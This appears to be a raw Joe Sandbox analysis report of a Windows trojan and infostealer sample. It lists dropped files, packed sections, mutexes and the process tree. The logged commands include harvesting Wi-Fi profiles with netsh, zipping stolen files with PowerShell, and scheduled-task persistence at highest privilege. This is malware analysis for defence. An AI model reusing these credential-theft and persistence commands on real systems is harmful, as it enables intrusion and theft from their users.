Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	File created: C:\Windows\Tasks\explorgu.job

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Code function: 0_2_00B05DC8	0_2_00B05DC8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Code function: 0_2_00B4A220	0_2_00B4A220
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Code function: 0_2_00B04E60	0_2_00B04E60
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_004CA220	1_2_004CA220
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_004C4330	1_2_004C4330
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_004B94E3	1_2_004B94E3
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_004C8DBB	1_2_004C8DBB
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_004C8669	1_2_004C8669
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_00484E60	1_2_00484E60
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_004C8EDB	1_2_004C8EDB
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_004C47C8	1_2_004C47C8
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_004CA220	2_2_004CA220
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_004C4330	2_2_004C4330
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_004B94E3	2_2_004B94E3
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_004C8DBB	2_2_004C8DBB
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_004C8669	2_2_004C8669
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_00484E60	2_2_00484E60
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_004C8EDB	2_2_004C8EDB
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_004C47C8	2_2_004C47C8

Source: Joe Sandbox View	Dropped File: C:\ProgramData\MPGPH131\MPGPH131.exe BECE1D107F2CFC2BF0D759D561578019ECD8C976D0143088FBC2BE78F69185DA
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll 3C97BB410E49B11AF8116FEB7240B7101E1967CAE7538418C45C3D2E072E8103

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Code function: String function: 00B19750 appears 122 times
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: String function: 0049F620 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: String function: 00499750 appears 244 times

Source: SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Static PE information: Section: ZLIB complexity 0.9982091990616622
Source: explorha.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982091990616622
Source: ad0e9cf6d6.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9918853682375317
Source: ad0e9cf6d6.exe.6.dr	Static PE information: Section: kmmiqwbd ZLIB complexity 0.989375925420823
Source: sarra[1].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9918870192307693
Source: sarra[1].exe.6.dr	Static PE information: Section: plzndgzq ZLIB complexity 0.9895639173656415
Source: amert[1].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9975303460743802
Source: amert[1].exe.6.dr	Static PE information: Section: nrhwmcml ZLIB complexity 0.9945326756386861
Source: amert.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9975303460743802
Source: amert.exe.6.dr	Static PE information: Section: nrhwmcml ZLIB complexity 0.9945326756386861
Source: random[1].exe0.6.dr	Static PE information: Section: ZLIB complexity 0.9918853682375317
Source: random[1].exe0.6.dr	Static PE information: Section: kmmiqwbd ZLIB complexity 0.989375925420823
Source: RageMP131.exe.14.dr	Static PE information: Section: ZLIB complexity 0.9918853682375317
Source: RageMP131.exe.14.dr	Static PE information: Section: kmmiqwbd ZLIB complexity 0.989375925420823
Source: MPGPH131.exe.14.dr	Static PE information: Section: ZLIB complexity 0.9918853682375317
Source: MPGPH131.exe.14.dr	Static PE information: Section: kmmiqwbd ZLIB complexity 0.989375925420823
Source: explorgu.exe.24.dr	Static PE information: Section: ZLIB complexity 0.9975303460743802
Source: explorgu.exe.24.dr	Static PE information: Section: nrhwmcml ZLIB complexity 0.9945326756386861

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.winEXE@38/31@3/5

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

File created: C:\Users\user\AppData\Roaming\a091ec0a6e2227

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1904:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6640:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1284:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6940:120:WilError_03

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe

File created: C:\Users\user\AppData\Local\Temp\09fd851a4f

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main

Source: cred64[1].dll.6.dr	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: ad0e9cf6d6.exe, 0000000E.00000002.2890860265.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, ad0e9cf6d6.exe, 0000000E.00000003.2393485516.0000000005340000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000013.00000003.2438871880.0000000005320000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000013.00000002.2890551261.00000000009A1000.00000040.00000001.01000000.00000010.sdmp, MPGPH131.exe, 00000014.00000003.2440483320.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000014.00000002.2891741375.00000000009A1000.00000040.00000001.01000000.00000010.sdmp, ad0e9cf6d6.exe, 00000016.00000002.2890561636.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, ad0e9cf6d6.exe, 00000016.00000003.2495106365.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001A.00000003.2578285726.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001A.00000002.2890907498.0000000000E31000.00000040.00000001.01000000.00000013.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: cred64[1].dll.6.dr	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: ad0e9cf6d6.exe, 0000000E.00000002.2890860265.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, ad0e9cf6d6.exe, 0000000E.00000003.2393485516.0000000005340000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000013.00000003.2438871880.0000000005320000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000013.00000002.2890551261.00000000009A1000.00000040.00000001.01000000.00000010.sdmp, MPGPH131.exe, 00000014.00000003.2440483320.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000014.00000002.2891741375.00000000009A1000.00000040.00000001.01000000.00000010.sdmp, ad0e9cf6d6.exe, 00000016.00000002.2890561636.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, ad0e9cf6d6.exe, 00000016.00000003.2495106365.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001A.00000003.2578285726.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001A.00000002.2890907498.0000000000E31000.00000040.00000001.01000000.00000013.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: cred64[1].dll.6.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: cred64[1].dll.6.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: cred64[1].dll.6.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: rundll32.exe, 00000008.00000002.2450226998.000002E174328000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: cred64[1].dll.6.dr	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Virustotal: Detection: 57%
Source: SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	ReversingLabs: Detection: 47%

Source: SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorha.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorha.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe "C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe"
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\MPGPH131\MPGPH131.exe C:\ProgramData\MPGPH131\MPGPH131.exe
Source: unknown	Process created: C:\ProgramData\MPGPH131\MPGPH131.exe C:\ProgramData\MPGPH131\MPGPH131.exe
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe "C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe"
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe "C:\Users\user\AppData\Local\Temp\1000049001\amert.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe "C:\Users\user\AppData\Local\RageMP131\RageMP131.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe "C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe "C:\Users\user\AppData\Local\RageMP131\RageMP131.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe "C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe "C:\Users\user\AppData\Local\Temp\1000049001\amert.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: sppc.dll	Jump to behavior
